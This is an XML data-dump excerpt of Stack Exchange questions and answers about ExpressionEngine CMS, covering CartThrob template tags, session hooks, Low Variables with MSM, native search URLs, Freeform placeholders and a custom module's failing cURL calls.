  <row Id="34806" PostTypeId="1" AcceptedAnswerId="34808" CreationDate="2015-11-20T16:40:41.357" Score="1" ViewCount="34" Body="&lt;p&gt;EE v2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the cart page i need to get image title based on its id.&#xA;Instead tag {title} shows the title of cart item.&#xA;So high level variable rewrite low level. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:cart_items_info}&amp;lt;br&amp;gt;&#xA;   {title} // shows cart item title, for example &quot;Product 1&quot;&#xA;&#xA;   {exp:channel:entries channel=&quot;images&quot; entry_id=&quot;{item_options:image_id}&quot; limit=&quot;1&quot;}&#xA;&#xA;      {title} //should show image title, for example - &quot;Image 1&quot;, but shows &quot;Product 1&quot;&#xA;   {/exp:channel:entries}       &#xA;&#xA;{/exp:cartthrob:cart_items_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i solve this?&lt;/p&gt;&#xA;" OwnerUserId="6865" LastActivityDate="2015-11-20T19:15:29.180" Title="Cartthob and channel entries. Tag {title}" Tags="|channel-entries|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34807" PostTypeId="1" CreationDate="2015-11-20T16:56:23.083" Score="1" ViewCount="21" Body="&lt;p&gt;I am currently using CartThrob for my ecommerce system. We sell educational products and services, therefore the physical items that we sell are taxable while the services are not. I have added the following to a package: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Study Book = $100.00 (taxable)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Exam and Application = $200.00 (non-taxable)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Package Price = $265.00&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The problem I am having is that when I add the package to the store it taxes the total Package Price, rather than just the Study Book that is taxable. Is there anyway around this? The package option seemed like the ideal solution to my problem, but it's not working when it comes to taxes. &lt;/p&gt;&#xA;" OwnerUserId="6866" LastActivityDate="2015-11-20T16:56:23.083" Title="CartThrob Taxes on Packages" Tags="|cartthrob|ecommerce|tax|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34808" PostTypeId="2" ParentId="34806" CreationDate="2015-11-20T19:15:29.180" Score="1" Body="&lt;p&gt;Yes, you're getting variable collision there. You'll need to embed the inner &lt;code&gt;channel:entries&lt;/code&gt; tag and pass the &lt;code&gt;entry_id&lt;/code&gt; to the embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_embeds/_cart_item_title&quot; entry_id=&quot;{item_options:image_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in that template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;images&quot; entry_id=&quot;{embed:entry_id}&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; disable=&quot;member_data|pagination|categories|custom_fields&quot;}&#xA;    {title}&#xA;{/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-11-20T19:15:29.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34809" PostTypeId="1" CreationDate="2015-11-20T21:18:11.423" Score="1" ViewCount="163" Body="&lt;p&gt;How do I get the member id of the current user in my extension when I'm in the session_start hook?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;session-&amp;gt;userdata('member_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously doesn't work; this gives me a server error.&lt;/p&gt;&#xA;" OwnerUserId="6530" LastActivityDate="2016-01-21T04:53:24.140" Title="Get member id in ExpressionEngines session hook" Tags="|hook|sessions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34810" PostTypeId="1" CreationDate="2015-11-21T02:28:37.253" Score="0" ViewCount="51" Body="&lt;p&gt;I need to be able to duplicate a site as a new MSM site and keep my Low Variables settings, values, titles, descriptions, field types, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a solution. I would hate to have to recreate 80 of these every time I need a new MSM site.&lt;/p&gt;&#xA;" OwnerUserId="6535" LastActivityDate="2016-05-28T19:12:02.573" Title="Duplicating a site using MSM with Low Variables" Tags="|multi-site-manager|low-variables|low|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34811" PostTypeId="2" ParentId="34810" CreationDate="2015-11-21T03:11:54.553" Score="0" Body="&lt;p&gt;As far as I know, there isn't an automated way of doing this for many major third party add-ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I recently had to branch out a few channels from a site into its own MSM site. One of the channels had a Matrix field. In that matrix field was an Assets column. Oh boy, was that fun. I had to make a template (pure PHP) that functioned as an import script from the main site to the new MSM site. I learned a bunch along the way; I had to reverse engineer the Assets add-on database schema to get it correct. The benefit is that I now have a solid script for that process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, not much of an answer, more of an experience recounting. I will have to do that again for sure (we have a stupidly huge site that we are breaking out to MSM piece by piece), so it was worth getting right.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-11-21T03:11:54.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34812" PostTypeId="1" AcceptedAnswerId="34814" CreationDate="2015-11-21T04:21:56.847" Score="0" ViewCount="67" Body="&lt;p&gt;&lt;strong&gt;EE 2.10.1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, so I haven't ever actually used EE's native search functions (always use add-ons or craft my own module to function as a search appliance [because of stupidly complex ERDs so weird there was no viable way of importing them into EE channels]). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the EE Simple Search, I have a code example like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form&#xA;   channel=&quot;product_review&quot;&#xA;   result_page=&quot;products/search&quot;&#xA;   no_result_page=&quot;products/search&quot;}&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;keywords&quot;&amp;gt;Search:&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; value=&quot;&quot; size=&quot;18&quot; maxlength=&quot;100&quot;&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot; class=&quot;submit&quot;&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... which seems fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the resulting URL, regardless of if there is a result or not, looks like this (third segment seems variable, but always a hash-like string):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.domain.com/products/serach/0568f4f2a81172d816bb05364030a4c4/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What the hell is that that third segment? It's not a template annotation.... I rarely have a question to ask, so can anyone provide insight on the native &lt;code&gt;{exp:search:simple_form}&lt;/code&gt; returns? I'd just like to get ride of it without .htaccess rules. I'm sure I'm missing something in the docs or have something in the config set up wrong.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-11-23T11:03:16.530" Title="Simple Search segments" Tags="|simple-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34814" PostTypeId="2" ParentId="34812" CreationDate="2015-11-21T12:09:49.687" Score="0" Body="&lt;p&gt;It took me a while to find an old website that used native searching as I always tend to use Low Search, but eventually found it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like low search the URL is a unique identifier to the conducted search, so it can be &lt;s&gt;repeated and is shareable&lt;/s&gt; tracked. The third segment is the key reference in the database table, identifying the user, date searched, keywords used, and other information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vhRuG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vhRuG.png&quot; alt=&quot;exp_search table grab&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So even if there are no results, the information will still exist on what they searched for, meaning there is still a third segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The display of the results isn't reliant on POST data, but on the URL, so you can't remove it and can't hide it, otherwise it's not shareable or repeatable.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2015-11-23T11:03:16.530" LastActivityDate="2015-11-23T11:03:16.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34816" PostTypeId="2" ParentId="34809" CreationDate="2015-11-21T12:30:25.967" Score="2" Body="&lt;p&gt;First initial thought is: can you use &lt;strong&gt;sessions_end&lt;/strong&gt; hook instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the Session.php code for where the &lt;strong&gt;session_start&lt;/strong&gt; is fired, this hook kicks in before the user data is set from the cookie/session as the next lines that come after the hook are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set the validation type&#xA;$this-&amp;gt;validation = (REQ == 'CP') ? ee()-&amp;gt;config-&amp;gt;item('cp_session_type') : ee()-&amp;gt;config-&amp;gt;item('website_session_type');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Get the session type dependant on what is being accessed - the Control Panel or frontend.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// default to &quot;cookies and sessions&quot; if validation type doesn't exist or is invalid&#xA;if ( ! in_array($this-&amp;gt;validation, $this-&amp;gt;valid_session_types))&#xA;{&#xA;    $this-&amp;gt;validation = 'cs';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Copying this into your code won't work due to usage of &lt;code&gt;valid_session_types&lt;/code&gt;, so you could either replicate the valid types, or just assume 'cs' if the &lt;code&gt;validation&lt;/code&gt; variable is not set.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Grab the session ID and update browser fingerprint based on the validation type&#xA;// we use the same URL key whether it's getting the session ID or the browser fingerprint,&#xA;// simplifying URI parsing and complicating session hijacking attempts&#xA;switch ($this-&amp;gt;validation)&#xA;{&#xA;    case 's'    :&#xA;        $this-&amp;gt;sdata['session_id'] = (ee()-&amp;gt;input-&amp;gt;get('S')) ? ee()-&amp;gt;input-&amp;gt;get('S') : ee()-&amp;gt;uri-&amp;gt;session_id;&#xA;        break;&#xA;    case 'c'    :&#xA;        $this-&amp;gt;sdata['session_id'] = ee()-&amp;gt;input-&amp;gt;cookie($this-&amp;gt;c_session);&#xA;        break;&#xA;    case 'cs'   :&#xA;    default     :&#xA;        $this-&amp;gt;sdata['session_id'] = ee()-&amp;gt;input-&amp;gt;cookie($this-&amp;gt;c_session);&#xA;        $this-&amp;gt;sdata['fingerprint'] = (ee()-&amp;gt;input-&amp;gt;get('S')) ? ee()-&amp;gt;input-&amp;gt;get('S') : ee()-&amp;gt;uri-&amp;gt;session_id;&#xA;        break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above is the key chunk, where it will get the session_id from the URL or from the cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EE core Session code then calls the &lt;code&gt;fetch_session_data&lt;/code&gt; function which does the DB query to get the member details...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;db-&amp;gt;select('member_id, admin_sess, last_activity, fingerprint, sess_start, login_state');&#xA;ee()-&amp;gt;db-&amp;gt;where('session_id', (string) $this-&amp;gt;sdata['session_id']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Main part of the query using the Session ID we got above.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// We already have a fingerprint to compare if they're running cs sessions&#xA;// otherwise we'll do it after fetching their member data, presuming the session ID is valid&#xA;if ($this-&amp;gt;validation == 'cs')&#xA;{&#xA;    ee()-&amp;gt;db-&amp;gt;where('fingerprint', (string) $this-&amp;gt;sdata['fingerprint']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not too sure if you'll need this, as it refers to fetching it later, but useful if the user has multiple sessions open in different browsers maybe...?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = ee()-&amp;gt;db-&amp;gt;get('sessions');&#xA;if ($query-&amp;gt;num_rows() == 0 OR $query-&amp;gt;row('member_id') == 0) {&#xA;    //FAILED TO FIND SESSION&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Run the query, do checks on the result and...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$memberID = (int) $query-&amp;gt;row('member_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally you have the member ID.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-11-21T12:30:25.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34818" PostTypeId="2" ParentId="34798" CreationDate="2015-11-22T10:32:10.853" Score="1" Body="&lt;p&gt;You will need to make sure the folder you place in the third_party directory matches the package name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the Github repo, you can see that the files are called xxx.flag_master.php, so therefore the directory needs to be named flag_master. I assume the because the Github repo is called flag-master, the folder is being named that instead.&lt;/p&gt;&#xA;" OwnerUserId="6607" LastEditorUserId="197" LastEditDate="2016-01-08T18:06:16.350" LastActivityDate="2016-01-08T18:06:16.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34820" PostTypeId="2" ParentId="34783" CreationDate="2015-11-22T16:34:21.493" Score="0" Body="&lt;p&gt;For anyone else wondering EE3 DOES NOT include file tag. There is a bug submitted that is marked as &quot;Fix in Upcoming Release&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/file-entry-tage-does-not-work/&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/file-entry-tage-does-not-work/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They probably just did not get round to implementing it. I wish the documentation indicated it. It's okay to roll out your features slowly, but it does not make sense to have documented feature/behavior missing in your release.&lt;/p&gt;&#xA;" OwnerUserId="6100" LastEditorUserId="6100" LastEditDate="2015-11-24T15:48:33.627" LastActivityDate="2015-11-24T15:48:33.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34821" PostTypeId="1" AcceptedAnswerId="34831" CreationDate="2015-11-22T16:37:15.937" Score="0" ViewCount="130" Body="&lt;p&gt;Can anyone confirm that in EE3 once a field has been created, you can't change the field type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ellis Lab, is this a feature yet to implemented, or data management perspective no longer a good idea?&lt;/p&gt;&#xA;" OwnerUserId="6100" LastActivityDate="2015-11-23T14:27:37.033" Title="EE3 Convert Field Type" Tags="|fieldtype|ee3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34822" PostTypeId="1" CreationDate="2015-11-22T18:23:15.617" Score="0" ViewCount="109" Body="&lt;p&gt;I'm trying to pass a set a language variables into a respective set of Freeform generated inputs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The obvious way to do it would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;freeform_first_name&quot;&amp;gt;{exp:transcribe:replace name='contact_name'}&amp;lt;/label&amp;gt;&#xA;    {freeform:field:first_name attr:class=&quot;textinput&quot; attr:placeholder=&quot;{exp:transcribe:replace name='contact_name'}&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;freeform_email&quot;&amp;gt;{exp:transcribe:replace name='contact_email'}&amp;lt;/label&amp;gt;&#xA;    {freeform:field:email attr:class=&quot;textinput&quot; attr:placeholder=&quot;{exp:transcribe:replace name='contact_email'}&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;freeform_user_message&quot;&amp;gt;{exp:transcribe:replace name='contact_message'}&amp;lt;/label&amp;gt;&#xA;    {freeform:field:user_message attr:class=&quot;textarea&quot; attr:placeholder=&quot;{exp:transcribe:replace name='contact_message'}&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in the Label displaying the correct language variable as set by Transcribe. However the same language variables don't get parsed in the  Freeform's attribute placeholder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to &lt;code&gt;stash:embed&lt;/code&gt; the contact form and pass the variables from the originating template. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed &#xA;    name=&quot;snippets:contact-form&quot; &#xA;    process=&quot;end&quot; &#xA;    parse_depth=&quot;1&quot; &#xA;    stash:cntct_name=&quot;{exp:transcribe:replace name='contact_name'}&quot; &#xA;    stash:cntct_email=&quot;{exp:transcribe:replace name='contact_email'}&quot; &#xA;    stash:cntct_msg=&quot;{exp:transcribe:replace name='contact_message'}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in the embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;freeform_first_name&quot;&amp;gt;{stash:cntct_name}&amp;lt;/label&amp;gt;&#xA;    {freeform:field:first_name attr:class=&quot;textinput&quot; attr:placeholder=&quot;{stash:cntct_name}&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;freeform_email&quot;&amp;gt;{stash:cntct_email}&amp;lt;/label&amp;gt;&#xA;    {freeform:field:email attr:class=&quot;textinput&quot; attr:placeholder=&quot;{stash:cntct_email}&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;freeform_user_message&quot;&amp;gt;{stash:cntct_msg}&amp;lt;/label&amp;gt;&#xA;    {freeform:field:user_message attr:class=&quot;textarea&quot; attr:placeholder=&quot;{stash:cntct_msg}&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And still the FreeForm labels display the correct language variables. But the placeholder attributes are not getting generated, at all. Static text, though, does work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="658" LastActivityDate="2016-05-14T04:36:56.007" Title="Passing Transcribe variables to Freeform placeholder" Tags="|solspace-freeform|stash|transcribe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34823" PostTypeId="1" CreationDate="2015-11-22T19:26:41.437" Score="0" ViewCount="30" Body="&lt;p&gt;I have build a custom module for ExpressionEngine.  It works perfectly on my local dev environment, but when I move it to my live server it freaks out and gives me errors, most notably: Invalid argument supplied for foreach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cant figure out what is going wrong, but have tried on two separate installs of ExpressionEngine, on two different domains and both give the same error.  Code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function product_prices() {&#xA;&#xA;    // Build module tags for EE output&#xA;    $tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;&#xA;&#xA;    // Create CURL resource &#xA;    $service_provider = curl_init(); &#xA;&#xA;    // Parse URL to CURL and create connection &#xA;    curl_setopt($service_provider, CURLOPT_URL, &quot;https://www.example.com&quot;); &#xA;&#xA;    // Return responce as a string &#xA;    curl_setopt($service_provider, CURLOPT_RETURNTRANSFER, 1); &#xA;&#xA;    // $output contains the returned string &#xA;    $service_provider_output = curl_exec($service_provider); &#xA;&#xA;    // Close curl resource to free up system resources &#xA;    curl_close($service_provider);     &#xA;&#xA;    // Create Array from JSon array&#xA;    $sp_arr = json_decode($service_provider_output, true);&#xA;&#xA;&#xA;&#xA;    // Create CURL resource &#xA;    $service_details = curl_init(); &#xA;&#xA;    // Parse URL to CURL and create connection &#xA;    curl_setopt($service_details, CURLOPT_URL, &quot;https://www.example.com&quot;); &#xA;&#xA;    // Return responce as a string &#xA;    curl_setopt($service_details, CURLOPT_RETURNTRANSFER, 1); &#xA;&#xA;    // $output contains the returned string &#xA;    $service_details_output = curl_exec($service_details); &#xA;&#xA;    // Close curl resource to free up system resources &#xA;    curl_close($service_details);     &#xA;&#xA;    // Create Array from JSon array&#xA;    $spdetails_arr = json_decode($service_details_output, true);&#xA;&#xA;&#xA;&#xA;    // Create CURL resource &#xA;    $price_details = curl_init(); &#xA;&#xA;    // Parse URL to CURL and create connection &#xA;    curl_setopt($price_details, CURLOPT_URL, &quot;https://www.example.com&quot;); &#xA;&#xA;    // Return responce as a string &#xA;    curl_setopt($price_details, CURLOPT_RETURNTRANSFER, 1); &#xA;&#xA;    // $output contains the returned string &#xA;    $price_details_output = curl_exec($price_details); &#xA;&#xA;    // Close curl resource to free up system resources &#xA;    curl_close($price_details);     &#xA;&#xA;    // Create Array from JSon array&#xA;    $price_details_arr = json_decode($price_details_output, true);&#xA;&#xA;    $detailed_product = array();&#xA;&#xA;    // Insert query results into variables&#xA;    foreach ($spdetails_arr[&quot;data&quot;] as $val_detail) {&#xA;        $detailed_product_name = $val_detail['name'];&#xA;        $detailed_product_sp_id = $val_detail['service_provider'];&#xA;        $detailed_product_s_discripton = $val_detail['short_description'];&#xA;        $detailed_product_s_discripton = $val_detail['description'];&#xA;        $detailed_product_id = $val_detail['id'];&#xA;        $detailed_service_id = $val_detail['service'];&#xA;&#xA;&#xA;            // Replace Service Provider ID with Full Name&#xA;            foreach ($sp_arr[&quot;data&quot;] as $val) {&#xA;                $sp_name = $val['name'];&#xA;                $sp_id = $val['id'];&#xA;&#xA;                if ($detailed_product_sp_id == $sp_id) {&#xA;                    $sp_full_name = $sp_name;&#xA;                }&#xA;            }&#xA;&#xA;            // Pull Price and associate with service&#xA;            foreach ($price_details_arr[&quot;data&quot;] as $val_price) {&#xA;                $service_id = $val_price['service'];&#xA;                $service_price = $val_price['price'];&#xA;                $service_type = $val_price['type'];&#xA;&#xA;                if ($detailed_service_id == $service_id &amp;amp;&amp;amp; $service_type == &quot;Monthly&quot;) {&#xA;                    $service_price_monthly = $service_price;&#xA;&#xA;                    if ($service_price_monthly == &quot;0.00&quot;) {&#xA;                        $service_price_monthly = &quot;No Price Found&quot;;&#xA;                    }&#xA;                }&#xA;&#xA;                if ($detailed_service_id == $service_id &amp;amp;&amp;amp; $service_type == &quot;Start&quot;) {&#xA;                    $service_price_start = $service_price;&#xA;                }&#xA;&#xA;            }&#xA;&#xA;        $detailed_product[] = array(&#xA;            &quot;service_name&quot; =&amp;gt; $detailed_product_name,&#xA;            &quot;service_provider&quot; =&amp;gt; $sp_full_name,&#xA;            &quot;monthly_price&quot; =&amp;gt; $service_price_monthly,&#xA;            &quot;connection_fee&quot; =&amp;gt; $service_price_start,&#xA;            &quot;type&quot; =&amp;gt; $service_type,&#xA;            &quot;service_id&quot; =&amp;gt; $detailed_service_id,&#xA;            &quot;s_discription&quot; =&amp;gt; $detailed_product_s_discripton,&#xA;            &quot;l_discription&quot; =&amp;gt; $detailed_product_s_discripton&#xA;        );&#xA;    }&#xA;&#xA;    // Return tag pair&#xA;    return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($tagdata, $detailed_product);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I doing something very wrong here?  I have a feeling it might be something to do with Codeigniter, but can't be sure as I am still a junior programmer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks alot&lt;/p&gt;&#xA;" OwnerUserId="6491" LastActivityDate="2016-05-10T21:24:09.040" Title="Issues with custom module when moving to live server" Tags="|php|php-errors|codeigniter|curl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34824" PostTypeId="2" ParentId="34823" CreationDate="2015-11-22T20:30:36.587" Score="0" Body="&lt;p&gt;Try outputting the result of CURL request directly into browser. It is probably that one of the requests does not return valid JSON, therefore you don't get valid URL to loop through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Purely guess though, as you did not mention to what line the error message is pointing.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-11-22T20:30:36.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34826" PostTypeId="2" ParentId="34823" CreationDate="2015-11-23T08:13:11.030" Score="0" Body="&lt;p&gt;I managed to figure it out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, I enabled debugging by using the &lt;code&gt;curl_getinfo&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this I was able to determined that the HTTP response was returning 0.  This was due to an issue with the SSL certificate not getting verified on the server side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix, I added a pem certificate and linked to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Issue resolved.&lt;/p&gt;&#xA;" OwnerUserId="6491" LastActivityDate="2015-11-23T08:13:11.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34828" PostTypeId="1" AcceptedAnswerId="34829" CreationDate="2015-11-23T11:31:06.807" Score="2" ViewCount="1239" Body="&lt;p&gt;I can't find the EE2 user guide on the web. Several google snippets have &quot;Expression Engine 2 user guide&quot; supposedly on a page on the Ellislabs site but when I click them I don't see the link.&lt;/p&gt;&#xA;" OwnerUserId="1235" LastActivityDate="2015-12-10T10:56:47.383" Title="Where has the EE2 documentation gone?" Tags="|ee2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34829" PostTypeId="2" ParentId="34828" CreationDate="2015-11-23T11:53:08.423" Score="1" Body="&lt;p&gt;Mr Armitage is kindly hosting them: &lt;a href=&quot;http://ee2docs.com/&quot; rel=&quot;nofollow&quot;&gt;http://ee2docs.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="173" LastActivityDate="2015-11-23T11:53:08.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34830" PostTypeId="1" CreationDate="2015-11-23T12:33:27.570" Score="0" ViewCount="37" Body="&lt;p&gt;I have firemail installed on the ee with the mailgun to deliver the newsltters. When i send the newsletters using the email templates, all the emails shows the html source code instead of rendering it.&lt;/p&gt;&#xA;" OwnerUserId="6718" LastActivityDate="2015-11-23T12:33:27.570" Title="Firemail delivered html newsletter showing source code to end client" Tags="|ee2|email|newsletter|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34831" PostTypeId="2" ParentId="34821" CreationDate="2015-11-23T14:27:37.033" Score="1" Body="&lt;p&gt;This has already been filed as a bug, and Derek Jones gives some explanation in the comments there: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/21302/field-type-not-changeable-after-creation&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/21302/field-type-not-changeable-after-creation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-11-23T14:27:37.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34832" PostTypeId="1" AcceptedAnswerId="34834" CreationDate="2015-11-23T17:25:26.250" Score="0" ViewCount="11" Body="&lt;p&gt;I am trying to use entry_poster_imdb&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/intoeetive/entry_poster_imdb&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/intoeetive/entry_poster_imdb&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to create fields automatically in a field group, corresponding to the IMdb fields which are pulled from IMdb?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8xrv6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8xrv6.jpg&quot; alt=&quot;IMDB&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2341" LastEditorUserId="343" LastEditDate="2015-11-23T17:39:30.370" LastActivityDate="2015-11-23T18:39:01.087" Title="Entry Poster IMdb" Tags="|channel-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
